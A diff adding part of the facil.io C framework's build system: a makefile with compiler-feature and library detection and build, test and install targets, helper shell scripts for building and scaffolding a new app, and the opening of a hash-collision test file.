+TRY_COMPILE_AND_RUN=$(shell printf $(1) | $(CC) $(2) -xc -o ./___fio_tmp_test_ - 2> /dev/null ; ./___fio_tmp_test_ >> /dev/null 2> /dev/null; echo $$?; rm ./___fio_tmp_test_ 2> /dev/null)
+EMPTY:=
+
+#############################################################################
+# kqueue / epoll / poll Selection / Detection
+# (no need to edit)
+#############################################################################
+
+FIO_POLL_TEST_KQUEUE := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <sys/event.h>\\n\
+int main(void) {\\n\
+	int fd = kqueue();\\n\
+}\\n\
+"
+
+FIO_POLL_TEST_EPOLL := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <stdio.h>\\n\
+\#include <sys/types.h>\\n\
+\#include <sys/stat.h>\\n\
+\#include <fcntl.h>\\n\
+\#include <sys/epoll.h>\\n\
+int main(void) {\\n\
+	int fd = epoll_create1(EPOLL_CLOEXEC);\\n\
+}\\n\
+"
+
+FIO_POLL_TEST_POLL := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <poll.h>\\n\
+int main(void) {\\n\
+  struct pollfd plist[18];\\n\
+  memset(plist, 0, sizeof(plist[0]) * 18);\\n\
+  poll(plist, 1, 1);\\n\
+}\\n\
+"
+
+# Test for manual selection and then TRY_COMPILE with each polling engine
+ifdef FIO_POLL
+  $(info * Skipping polling tests, enforcing manual selection of: poll)
+	FLAGS:=$(FLAGS) FIO_ENGINE_POLL
+else ifdef FIO_FORCE_POLL
+  $(info * Skipping polling tests, enforcing manual selection of: poll)
+	FLAGS:=$(FLAGS) FIO_ENGINE_POLL
+else ifdef FIO_FORCE_EPOLL
+  $(info * Skipping polling tests, enforcing manual selection of: epoll)
+	FLAGS:=$(FLAGS) FIO_ENGINE_EPOLL
+else ifdef FIO_FORCE_KQUEUE
+  $(info * Skipping polling tests, enforcing manual selection of: kqueue)
+	FLAGS:=$(FLAGS) FIO_ENGINE_KQUEUE
+else ifeq ($(call TRY_COMPILE, $(FIO_POLL_TEST_EPOLL), $(EMPTY)), 0)
+  $(info * Detected `epoll`)
+	FLAGS:=$(FLAGS) FIO_ENGINE_EPOLL
+else ifeq ($(call TRY_COMPILE, $(FIO_POLL_TEST_KQUEUE), $(EMPTY)), 0)
+  $(info * Detected `kqueue`)
+	FLAGS:=$(FLAGS) FIO_ENGINE_KQUEUE
+else ifeq ($(call TRY_COMPILE, $(FIO_POLL_TEST_POLL), $(EMPTY)), 0)
+  $(info * Detected `poll` - this is suboptimal fallback!)
+	FLAGS:=$(FLAGS) FIO_ENGINE_POLL
+else
+	$(warning No supported polling engine! won't be able to compile facil.io)
+endif
+
+#############################################################################
+# Detecting The `sendfile` System Call
+# (no need to edit)
+#############################################################################
+
+# Linux variation
+FIO_SENDFILE_TEST_LINUX := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <stdio.h>\\n\
+\#include <sys/sendfile.h>\\n\
+int main(void) {\\n\
+	off_t offset = 0;\\n\
+	ssize_t result = sendfile(2, 1, (off_t *)&offset, 300);\\n\
+}\\n\
+"
+
+# BSD variation
+FIO_SENDFILE_TEST_BSD := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <stdio.h>\\n\
+\#include <sys/types.h>\\n\
+\#include <sys/socket.h>\\n\
+\#include <sys/uio.h>\\n\
+int main(void) {\\n\
+	off_t sent = 0;\\n\
+	off_t offset = 0;\\n\
+	ssize_t result = sendfile(2, 1, offset, (size_t)sent, NULL, &sent, 0);\\n\
+}\\n\
+"
+
+# Apple variation
+FIO_SENDFILE_TEST_APPLE := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <stdio.h>\\n\
+\#include <sys/types.h>\\n\
+\#include <sys/socket.h>\\n\
+\#include <sys/uio.h>\\n\
+int main(void) {\\n\
+	off_t sent = 0;\\n\
+	off_t offset = 0;\\n\
+	ssize_t result = sendfile(2, 1, offset, &sent, NULL, 0);\\n\
+}\\n\
+"
+
+ifeq ($(call TRY_COMPILE, $(FIO_SENDFILE_TEST_LINUX), $(EMPTY)), 0)
+  $(info * Detected `sendfile` (Linux))
+	FLAGS:=$(FLAGS) USE_SENDFILE_LINUX
+else ifeq ($(call TRY_COMPILE, $(FIO_SENDFILE_TEST_BSD), $(EMPTY)), 0)
+  $(info * Detected `sendfile` (BSD))
+	FLAGS:=$(FLAGS) USE_SENDFILE_BSD
+else ifeq ($(call TRY_COMPILE, $(FIO_SENDFILE_TEST_APPLE), $(EMPTY)), 0)
+  $(info * Detected `sendfile` (Apple))
+	FLAGS:=$(FLAGS) USE_SENDFILE_APPLE
+else
+  $(info * No `sendfile` support detected.)
+	FLAGS:=$(FLAGS) USE_SENDFILE=0
+endif
+
+#############################################################################
+# Detecting 'struct tm' fields
+# (no need to edit)
+#############################################################################
+
+FIO_TEST_STRUCT_TM_TM_ZONE := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <time.h>\\n\
+int main(void) {\\n\
+	struct tm tm;\\n\
+	tm.tm_zone = \"UTC\";\\n\
+	return 0;\\n\
+}\\n\
+"
+
+ifeq ($(call TRY_COMPILE, $(FIO_TEST_STRUCT_TM_TM_ZONE), $(EMPTY)), 0)
+  $(info * Detected 'tm_zone' field in 'struct tm')
+	FLAGS:=$(FLAGS) HAVE_TM_TM_ZONE=1
+endif
+
+#############################################################################
+# Detecting SystemV socket libraries
+# (no need to edit)
+#############################################################################
+
+FIO_TEST_SOCKET_AND_NETWORK_SERVICE := "\\n\
+\#include <sys/types.h>\\n\
+\#include <sys/socket.h>\\n\
+\#include <netinet/in.h>\\n\
+\#include <arpa/inet.h>\\n\
+int main(void) {\\n\
+	struct sockaddr_in addr = { .sin_port = 0 };\\n\
+	int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\\n\
+	if(fd == -1) return 1;\\n\
+	if(inet_pton(AF_INET, \"127.0.0.1\", &addr.sin_addr) < 1) return 1;\\n\
+	return connect(fd, (struct sockaddr *)&addr, sizeof addr) < 0 ? 1 : 0;\\n\
+}\\n\
+"
+
+ifeq ($(call TRY_COMPILE, $(FIO_TEST_SOCKET_AND_NETWORK_SERVICE), $(EMPTY)), 0)
+  $(info * Detected socket API without additional libraries)
+else ifeq ($(call TRY_COMPILE, $(FIO_TEST_SOCKET_AND_NETWORK_SERVICE), "-lsocket" "-lnsl"), 0)
+  $(info * Detected socket API from libsocket and libnsl)
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) socket nsl
+else
+  $(error No socket API available)
+endif
+
+#############################################################################
+# SSL/ TLS Library Detection
+# (no need to edit)
+#############################################################################
+
+# BearSSL requirement C application code
+# (source code variation)
+FIO_TLS_TEST_BEARSSL_SOURCE := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <bearssl.h>\\n\
+int main(void) {\\n\
+}\\n\
+"
+
+# BearSSL requirement C application code
+# (linked library variation)
+FIO_TLS_TEST_BEARSSL_EXT := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <bearssl.h>\\n\
+int main(void) {\\n\
+}\\n\
+"
+
+# OpenSSL requirement C application code
+FIO_TLS_TEST_OPENSSL := "\\n\
+\#define _GNU_SOURCE\\n\
+\#include <stdlib.h>\\n\
+\#include <openssl/bio.h> \\n\
+\#include <openssl/err.h> \\n\
+\#include <openssl/ssl.h> \\n\
+\#if OPENSSL_VERSION_NUMBER < 0x10100000L \\n\
+\#error \"OpenSSL version too small\" \\n\
+\#endif \\n\
+int main(void) { \\n\
+  SSL_library_init(); \\n\
+  SSL_CTX *ctx = SSL_CTX_new(TLS_method()); \\n\
+  SSL *ssl = SSL_new(ctx); \\n\
+  BIO *bio = BIO_new_socket(3, 0); \\n\
+  BIO_up_ref(bio); \\n\
+  SSL_set0_rbio(ssl, bio); \\n\
+  SSL_set0_wbio(ssl, bio); \\n\
+}\\n\
+"
+
+
+# automatic library adjustments for possible BearSSL library
+LIB_PRIVATE_SUBFOLDERS:=$(LIB_PRIVATE_SUBFOLDERS) $(if $(wildcard lib/bearssl),bearssl)
+
+ifeq ($(shell $(PKG_CONFIG) -- openssl >/dev/null 2>&1; echo $$?), 0)
+	OPENSSL_CFLAGS = $(shell $(PKG_CONFIG) --cflags openssl)
+	OPENSSL_LDFLAGS = $(shell $(PKG_CONFIG) --libs openssl)
+	OPENSSL_LIBS =
+endif
+
+OPENSSL_LDFLAGS ?= "-lssl" "-lcrypto"
+
+# add BearSSL/OpenSSL library flags (exclusive)
+ifdef FIO_NO_TLS
+else ifeq ($(call TRY_COMPILE, $(FIO_TLS_TEST_BEARSSL_SOURCE), $(EMPTY)), 0)
+  $(info * Detected the BearSSL source code library, setting HAVE_BEARSSL)
+	# TODO: when BearSSL support arrived, set the FIO_TLS_FOUND flag as well
+	FLAGS:=$(FLAGS) HAVE_BEARSSL
+else ifeq ($(call TRY_COMPILE, $(FIO_TLS_TEST_BEARSSL_EXT), "-lbearssl"), 0)
+  $(info * Detected the BearSSL library, setting HAVE_BEARSSL)
+	# TODO: when BearSSL support arrived, set the FIO_TLS_FOUND flag as well
+	FLAGS:=$(FLAGS) HAVE_BEARSSL
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) bearssl
+else ifeq ($(call TRY_COMPILE, $(FIO_TLS_TEST_OPENSSL), $(OPENSSL_CFLAGS) $(OPENSSL_LDFLAGS)), 0)
+  $(info * Detected the OpenSSL library, setting HAVE_OPENSSL)
+	FLAGS:=$(FLAGS) HAVE_OPENSSL FIO_TLS_FOUND
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) $(OPENSSL_LIBS)
+	LDFLAGS += $(OPENSSL_LDFLAGS)
+	CFLAGS += $(OPENSSL_CFLAGS)
+	PKGC_REQ_OPENSSL = openssl >= 1.1, openssl < 1.2
+	PKGC_REQ += $$(PKGC_REQ_OPENSSL)
+else
+  $(info * No compatible SSL/TLS library detected.)
+endif
+
+# S2N TLS/SSL library: https://github.com/awslabs/s2n
+ifeq ($(call TRY_COMPILE, "\#include <s2n.h>\\n int main(void) {}", "-ls2n") , 0)
+  $(info * Detected the s2n library, setting HAVE_S2N)
+	# TODO: when S2N support arrived, set the FIO_TLS_FOUND flag as well
+	FLAGS:=$(FLAGS) HAVE_S2N
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) s2n
+endif
+
+#############################################################################
+# ZLib Library Detection
+# (no need to edit)
+#############################################################################
+
+ifeq ($(call TRY_COMPILE, "\#include <zlib.h>\\nint main(void) {}", "-lz") , 0)
+  $(info * Detected the zlib library, setting HAVE_ZLIB)
+	FLAGS:=$(FLAGS) HAVE_ZLIB
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) z
+	PKGC_REQ_ZLIB = zlib
+	PKGC_REQ += $$(PKGC_REQ_ZLIB)
+endif
+
+#############################################################################
+# PostgreSQL Library Detection
+# (no need to edit)
+#############################################################################
+
+ifeq ($(call TRY_COMPILE, "\#include <libpq-fe.h>\\n int main(void) {}", "-lpg") , 0)
+  $(info * Detected the PostgreSQL library, setting HAVE_POSTGRESQL)
+	FLAGS:=$(FLAGS) HAVE_POSTGRESQL
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) pg
+else ifeq ($(call TRY_COMPILE, "\#include </usr/include/postgresql/libpq-fe.h>\\nint main(void) {}", "-lpg") , 0)
+  $(info * Detected the PostgreSQL library, setting HAVE_POSTGRESQL)
+	FLAGS:=$(FLAGS) HAVE_POSTGRESQL
+	INCLUDE_STR:=$(INCLUDE_STR) -I/usr/include/postgresql
+	LINKER_LIBS_EXT:=$(LINKER_LIBS_EXT) pg
+endif
+
+#############################################################################
+# Endian  Detection
+# (no need to edit)
+#############################################################################
+
+ifeq ($(call TRY_COMPILE_AND_RUN, "int main(void) {int i = 1; return (int)(i & ((unsigned char *)&i)[sizeof(i)-1]);}\n",$(EMPTY)), 1)
+  $(info * Detected Big Endian byte order.)
+	FLAGS:=$(FLAGS) __BIG_ENDIAN__
+else ifeq ($(call TRY_COMPILE_AND_RUN, "int main(void) {int i = 1; return (int)(i & ((unsigned char *)&i)[0]);}\n",$(EMPTY)), 1)
+  $(info * Detected Little Endian byte order.)
+	FLAGS:=$(FLAGS) __BIG_ENDIAN__=0
+else
+  $(info * Byte ordering (endianness) detection failed)
+endif
+
+#############################################################################
+# Updated flags and final values
+# (don't edit)
+#############################################################################
+
+FLAGS_STR = $(foreach flag,$(FLAGS),$(addprefix -D, $(flag)))
+CFLAGS:= $(CFLAGS) -g -std=$(CSTD) -fpic $(FLAGS_STR) $(WARNINGS) $(OPTIMIZATION) $(INCLUDE_STR)
+CPPFLAGS:= $(CPPFLAGS) -std=$(CPPSTD) -fpic  $(FLAGS_STR) $(WARNINGS) $(OPTIMIZATION) $(INCLUDE_STR)
+LINKER_FLAGS= $(LDFLAGS) $(foreach lib,$(LINKER_LIBS),$(addprefix -l,$(lib))) $(foreach lib,$(LINKER_LIBS_EXT),$(addprefix -l,$(lib)))
+CFLAGS_DEPENDENCY=-MT $@ -MMD -MP
+
+
+# Build a "Requires:" string for the pkgconfig/facil.pc file
+# unfortunately, leading or trailing commas are interpreted as
+# "empty package name" by pkg-config, therefore we work around this by using
+# $(strip ..).
+# The following 2 lines are from the manual of GNU make
+nullstring :=
+space := $(nullstring) # end of line
+comma := ,
+
+$(eval PKGC_REQ_EVAL := $(subst $(space),$(comma) ,$(strip $(PKGC_REQ))))
+
+#############################################################################
+# Tasks - Building
+#############################################################################
+
+$(NAME): build
+
+build: | create_tree build_objects
+
+build_objects: $(LIB_OBJS) $(MAIN_OBJS)
+	@$(CCL) -o $(BIN) $^ $(OPTIMIZATION) $(LINKER_FLAGS)
+	@$(DOCUMENTATION)
+
+lib: | create_tree lib_build
+
+$(DEST)/pkgconfig/facil.pc: makefile | libdump
+	@mkdir -p $(DEST)/pkgconfig && \
+	printf "\
+Name: facil.io\\n\
+Description: facil.io\\n\
+Cflags: -I%s\\n\
+Libs: -L%s -lfacil\\n\
+Version: %s\\n\
+Requires.private: %s\\n\
+" $(realpath $(DEST)/../libdump/include) $(realpath $(DEST)) 0.7.x "$(PKGC_REQ_EVAL)" > $@
+
+$(DEST)/libfacil.so: $(LIB_OBJS) | $(DEST)/pkgconfig/facil.pc
+	@$(CCL) -shared -o $@ $^ $(OPTIMIZATION) $(LINKER_FLAGS)
+
+lib_build: $(DEST)/libfacil.so
+	@$(DOCUMENTATION)
+
+
+%.o : %.c
+
+#### no disassembler (normal / expected state)
+ifndef DISAMS
+$(TMP_ROOT)/%.o: %.c $(TMP_ROOT)/%.d
+	@$(CC) -c $< -o $@ $(CFLAGS_DEPENDENCY) $(CFLAGS)
+
+$(TMP_ROOT)/%.o: %.cpp $(TMP_ROOT)/%.d
+	@$(CC) -c $< -o $@ $(CFLAGS_DEPENDENCY) $(CPPFLAGS)
+	$(eval CCL = $(CPP))
+
+$(TMP_ROOT)/%.o: %.c++ $(TMP_ROOT)/%.d
+	@$(CC) -c $< -o $@ $(CFLAGS_DEPENDENCY) $(CPPFLAGS)
+	$(eval CCL = $(CPP))
+
+#### add diassembling stage (testing / slower)
+else
+$(TMP_ROOT)/%.o: %.c $(TMP_ROOT)/%.d
+	@$(CC) -c $< -o $@ $(CFLAGS_DEPENDENCY) $(CFLAGS)
+	@$(DISAMS) $@ > $@.s
+
+$(TMP_ROOT)/%.o: %.cpp $(TMP_ROOT)/%.d
+	@$(CPP) -o $@ -c $< $(CFLAGS_DEPENDENCY) $(CPPFLAGS)
+	$(eval CCL = $(CPP))
+	@$(DISAMS) $@ > $@.s
+
+$(TMP_ROOT)/%.o: %.c++ $(TMP_ROOT)/%.d
+	@$(CPP) -o $@ -c $< $(CFLAGS_DEPENDENCY) $(CPPFLAGS)
+	$(eval CCL = $(CPP))
+	@$(DISAMS) $@ > $@.s
+endif
+
+$(TMP_ROOT)/%.d: ;
+
+-include $(OBJS_DEPENDENCY)
+
+#############################################################################
+# Tasks - Testing
+#############################################################################
+
+
+.PHONY : test
+test: | clean
+	@DEBUG=1 $(MAKE) test_build_and_run
+	-@rm $(BIN) 2> /dev/null
+	-@rm -R $(TMP_ROOT) 2> /dev/null
+
+.PHONY : test/speed
+test/speed: | test_add_speed_flags $(LIB_OBJS)
+	@$(CC) -c ./tests/speeds.c -o $(TMP_ROOT)/speeds.o $(CFLAGS_DEPENDENCY) $(CFLAGS)
+	@$(CCL) -o $(BIN) $(LIB_OBJS) $(TMP_ROOT)/speeds.o $(OPTIMIZATION) $(LINKER_FLAGS)
+	@$(BIN)
+
+.PHONY : test/optimized
+test/optimized: | clean test_add_speed_flags create_tree $(LIB_OBJS)
+	@$(CC) -c ./tests/tests.c -o $(TMP_ROOT)/tests.o $(CFLAGS_DEPENDENCY) $(CFLAGS)
+	@$(CCL) -o $(BIN) $(LIB_OBJS) $(TMP_ROOT)/tests.o $(OPTIMIZATION) $(LINKER_FLAGS)
+	@$(BIN)
+	-@rm $(BIN) 2> /dev/null
+	-@rm -R $(TMP_ROOT) 2> /dev/null
+
+.PHONY : test/ci
+test/ci:| clean
+	@DEBUG=1 $(MAKE) test_build_and_run
+
+.PHONY : test/c99
+test/c99:| clean
+	@CSTD=c99 DEBUG=1 $(MAKE) test_build_and_run
+
+.PHONY : test/poll
+test/poll:| clean
+	@CSTD=c99 DEBUG=1 FIO_FORCE_POLL=1 $(MAKE) test_build_and_run
+
+.PHONY : test_build_and_run
+test_build_and_run: | create_tree test_add_flags test/build
+	@$(BIN)
+
+.PHONY : test_add_flags
+test_add_flags:
+	$(eval CFLAGS:=-coverage $(CFLAGS) -DDEBUG=1 -Werror)
+	$(eval LINKER_FLAGS:=-coverage -DDEBUG=1 $(LINKER_FLAGS))
+
+.PHONY : test_add_speed_flags
+test_add_speed_flags:
+	$(eval CFLAGS:=$(CFLAGS) -DDEBUG=1)
+	$(eval LINKER_FLAGS:=-DDEBUG=1 $(LINKER_FLAGS))
+
+
+.PHONY : test/build
+test/build: $(LIB_OBJS)
+	@$(CC) -c ./tests/tests.c -o $(TMP_ROOT)/tests.o $(CFLAGS_DEPENDENCY) $(CFLAGS)
+	@$(CCL) -o $(BIN) $(LIB_OBJS) $(TMP_ROOT)/tests.o $(OPTIMIZATION) $(LINKER_FLAGS)
+
+.PHONY : clean
+clean:
+	-@rm -f $(BIN) 2> /dev/null || echo "" >> /dev/null
+	-@rm -R -f $(TMP_ROOT) 2> /dev/null || echo "" >> /dev/null
+	-@mkdir -p $(BUILDTREE)
+
+.PHONY : run
+run: | build
+	@$(BIN)
+
+.PHONY : db
+db: | clean
+	DEBUG=1 $(MAKE) build
+	$(DB) $(BIN)
+
+
+.PHONY : create_tree
+create_tree:
+	-@mkdir -p $(BUILDTREE) 2> /dev/null
+
+
+#############################################################################
+# Tasks - Installers
+#############################################################################
+
+.PHONY : install/bearssl
+install/bearssl: | remove/bearssl add/bearssl ;
+
+.PHONY : add/bearssl
+add/bearssl: | remove/bearssl
+	-@echo " "
+	-@echo "* Cloning BearSSL and copying source files to lib/bearssl."
+	-@echo "  Please review the BearSSL license."
+	@git clone https://www.bearssl.org/git/BearSSL tmp/bearssl
+	@mkdir lib/bearssl
+	-@find tmp/bearssl/src -name "*.*" -exec mv "{}" lib/bearssl \;
+	-@find tmp/bearssl/inc -name "*.*" -exec mv "{}" lib/bearssl \;
+	-@make clean
+
+.PHONY : remove/bearssl
+remove/bearssl:
+	-@echo "* Removing existing BearSSL source files."
+	-@rm -R -f lib/bearssl 2> /dev/null || echo "" >> /dev/null
+	-@make clean
+
+
+#############################################################################
+# Tasks - library code dumping & CMake
+#############################################################################
+
+ifndef DUMP_LIB
+.PHONY : libdump
+libdump: cmake
+
+else
+
+ifeq ($(LIBDIR_PRIV),)
+
+.PHONY : libdump
+libdump: cmake
+	-@rm -R $(DUMP_LIB) 2> /dev/null
+	-@mkdir $(DUMP_LIB)
+	-@mkdir $(DUMP_LIB)/src
+	-@mkdir $(DUMP_LIB)/include
+	-@mkdir $(DUMP_LIB)/all  # except README.md files
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^m]*)) $(DUMP_LIB)/all 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.h*)) $(DUMP_LIB)/include 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^hm]*)) $(DUMP_LIB)/src 2> /dev/null
+
+else
+
+.PHONY : libdump
+libdump: cmake
+	-@rm -R $(DUMP_LIB) 2> /dev/null
+	-@mkdir $(DUMP_LIB)
+	-@mkdir $(DUMP_LIB)/src
+	-@mkdir $(DUMP_LIB)/include
+	-@mkdir $(DUMP_LIB)/all  # except README.md files
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^m]*)) $(DUMP_LIB)/all 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.h*)) $(DUMP_LIB)/include 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PUB), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^hm]*)) $(DUMP_LIB)/src 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PRIV), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^m]*)) $(DUMP_LIB)/all 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PRIV), $(wildcard $(addsuffix /, $(basename $(dir)))*.h*)) $(DUMP_LIB)/include 2> /dev/null
+	-@cp -n $(foreach dir,$(LIBDIR_PRIV), $(wildcard $(addsuffix /, $(basename $(dir)))*.[^hm]*)) $(DUMP_LIB)/src 2> /dev/null
+
+endif
+endif
+
+ifndef CMAKE_LIBFILE_NAME
+.PHONY : cmake
+cmake:
+
+else
+
+.PHONY : cmake
+cmake:
+	-@rm $(CMAKE_LIBFILE_NAME) 2> /dev/null
+	@touch $(CMAKE_LIBFILE_NAME)
+	@echo 'project(facil.io C)' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'cmake_minimum_required(VERSION 2.4)' >> $(CMAKE_LIBFILE_NAME)
+	@echo '' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'find_package(Threads REQUIRED)' >> $(CMAKE_LIBFILE_NAME)
+	@echo '' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'set(facil.io_SOURCES' >> $(CMAKE_LIBFILE_NAME)
+	@$(foreach src,$(LIBSRC),echo '  $(src)' >> $(CMAKE_LIBFILE_NAME);)
+	@echo ')' >> $(CMAKE_LIBFILE_NAME)
+	@echo '' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'add_library(facil.io $${facil.io_SOURCES})' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'target_link_libraries(facil.io' >> $(CMAKE_LIBFILE_NAME)
+	@echo '  PRIVATE Threads::Threads' >> $(CMAKE_LIBFILE_NAME)
+	@$(foreach src,$(LINKER_LIBS),echo '  PUBLIC $(src)' >> $(CMAKE_LIBFILE_NAME);)
+	@echo '  )' >> $(CMAKE_LIBFILE_NAME)
+	@echo 'target_include_directories(facil.io' >> $(CMAKE_LIBFILE_NAME)
+	@$(foreach src,$(LIBDIR_PUB),echo '  PUBLIC  $(src)' >> $(CMAKE_LIBFILE_NAME);)
+	@$(foreach src,$(LIBDIR_PRIV),echo '  PRIVATE $(src)' >> $(CMAKE_LIBFILE_NAME);)
+	@echo ')' >> $(CMAKE_LIBFILE_NAME)
+	@echo '' >> $(CMAKE_LIBFILE_NAME)
+
+endif
+
+#############################################################################
+# Tasks - make variable printout (test)
+#############################################################################
+
+# Prints the make variables, used for debugging the makefile
+.PHONY : vars
+vars:
+	@echo "CC: $(CC)"
+	@echo ""
+	@echo "BIN: $(BIN)"
+	@echo ""
+	@echo "LIBDIR_PUB: $(LIBDIR_PUB)"
+	@echo ""
+	@echo "LIBDIR_PRIV: $(LIBDIR_PRIV)"
+	@echo ""
+	@echo "MAINDIR: $(MAINDIR)"
+	@echo ""
+	@echo "FOLDERS: $(FOLDERS)"
+	@echo ""
+	@echo "BUILDTREE: $(BUILDTREE)"
+	@echo ""
+	@echo "LIBSRC: $(LIBSRC)"
+	@echo ""
+	@echo "MAINSRC: $(MAINSRC)"
+	@echo ""
+	@echo "LIB_OBJS: $(LIB_OBJS)"
+	@echo ""
+	@echo "MAIN_OBJS: $(MAIN_OBJS)"
+	@echo ""
+	@echo "OBJS_DEPENDENCY: $(OBJS_DEPENDENCY)"
+	@echo ""
+	@echo "CFLAGS: $(CFLAGS)"
+	@echo ""
+	@echo "CPPFLAGS: $(CPPFLAGS)"
+	@echo ""
+	@echo "LINKER_LIBS: $(LINKER_LIBS)"
+	@echo ""
+	@echo "LINKER_LIBS_EXT: $(LINKER_LIBS_EXT)"
+	@echo ""
+	@echo "LINKER_FLAGS: $(LINKER_FLAGS)"
+
+

facil.io/scripts/build

@@ -0,0 +1,6 @@
+#! /bin/bash
+
+# DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+cd "$( dirname "${BASH_SOURCE[0]}" )/.."
+make clean
+make build

facil.io/scripts/clean

@@ -0,0 +1,6 @@
+#! /bin/bash
+
+# DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+cd "$( dirname "${BASH_SOURCE[0]}" )/.."
+
+make clean

facil.io/scripts/debug

@@ -0,0 +1,5 @@
+#! /bin/bash
+
+# DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+cd "$( dirname "${BASH_SOURCE[0]}" )/.."
+DEBUG=1 make db

facil.io/scripts/lib-dump

@@ -0,0 +1,6 @@
+#! /bin/bash
+
+# DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+cd "$( dirname "${BASH_SOURCE[0]}" )/.."
+
+make libdump

facil.io/scripts/new/app

@@ -0,0 +1,47 @@
+#! /bin/bash
+
+# This script is Benjamín C. Calderón's brain child (@benjcal).
+# Written by Bo and a "good enough for now" draft.
+#
+# This script isn't safe to update between releases. The new_post_download script should be edited instead.
+
+if [ -z $1 ]
+  then
+	echo "Please name the application (the folder to create):"
+	read FIO_APPNAME
+else
+	FIO_APPNAME=$1
+fi
+
+if [ -a $FIO_APPNAME ]; then echo "Couldn't create folder, already exists?"; exit 1; fi
+if [ -d $FIO_APPNAME ]; then echo "Couldn't create folder, already exists?"; exit 1; fi
+
+if [[ ! -z "${FIO_BRANCH}" ]]; then
+  FIO_URL=https://github.com/boazsegev/facil.io/archive/${FIO_BRANCH}.tar.gz
+elif [[ ! -z "${FIO_RELEASE}" ]]; then
+  FIO_URL=$(curl -s https://api.github.com/repos/boazsegev/facil.io/releases/tags/${FIO_RELEASE} | grep tarball_url | cut -d '"' -f 4)
+else
+  FIO_URL=$(curl -s https://api.github.com/repos/boazsegev/facil.io/releases/latest | grep tarball_url | cut -d '"' -f 4)
+fi
+
+if [[ -z "${FIO_URL}" ]]; then echo "URL error, FIO_BRANCH or FIO_RELEASE don't exist?"; exit 1; fi
+
+echo "* Creating $FIO_APPNAME"
+mkdir $FIO_APPNAME
+cd $FIO_APPNAME
+
+echo "* Downloading from $FIO_URL"
+
+# Was: curl -s -LJO https://github.com/boazsegev/facil.io/archive/stable.tar.gz
+# But it's better to use releases than the stable branch:
+curl -s -o facil.io.tar.gz -LJO $FIO_URL
+
+if [ $? -ne 0 ]; then echo "Couldn't download the latest release from facil.io's GitHub repo."; exit 1; fi
+
+tar --strip-components=1 -xzf facil.io.tar.gz
+if [ $? -ne 0 ]; then echo "Couldn't extract tar."; exit 1; fi
+
+rm facil.io.tar.gz
+
+echo "* Cleaning up and placing example code."
+./scripts/new/cleanup

facil.io/scripts/new/cleanup

@@ -0,0 +1,17 @@
+#! /bin/bash
+
+# This handles cleanup operations and boiler-plate code and it is executed after downloading a copy of the latest release.
+#
+# Since the version of the script executed is the version included in the release, it is safe to change between releases.
+rm -R src 2>/dev/null
+rm -R docs 2>/dev/null
+rm -R tests 2>/dev/null
+rm -R scripts/new 2>/dev/null
+rm Doxyfile 2>/dev/null
+rm CMakeLists.txt 2>/dev/null
+rm *.md 2>/dev/null
+rm LICENSE 2>/dev/null
+rm NOTICE 2>/dev/null
+mv ./examples/boiler_plate/* ./
+rm -R ./examples/boiler_plate  2>/dev/null
+

facil.io/tests/collisions.c

@@ -0,0 +1,893 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#define FIO_INCLUDE_STR
+#include <fio.h>
+#include <fio_cli.h>
+
+#ifndef TEST_XXHASH
+#define TEST_XXHASH 1
+#endif
+
+/* *****************************************************************************
+State machine and types
+***************************************************************************** */
+
+static uint8_t print_flag = 1;
+
+static inline int fio_str_eq_print(fio_str_s *a, fio_str_s *b) {
+  /* always return 1, to avoid internal set collision mitigation. */
+  if (print_flag)
+    fprintf(stderr, "* Collision Detected: %s vs. %s\n", fio_str_data(a),
+            fio_str_data(b));
+  return 1;
+}
+
+// static inline void destroy_collision_object(fio_str_s *a) {
+//   fprintf(stderr, "* Collision Detected: %s\n", fio_str_data(a));
+//   fio_str_free2(a);
+// }
+
+#define FIO_SET_NAME collisions
+#define FIO_SET_OBJ_TYPE fio_str_s *
+#define FIO_SET_OBJ_COPY(dest, src) ((dest) = fio_str_new_copy2((src)))
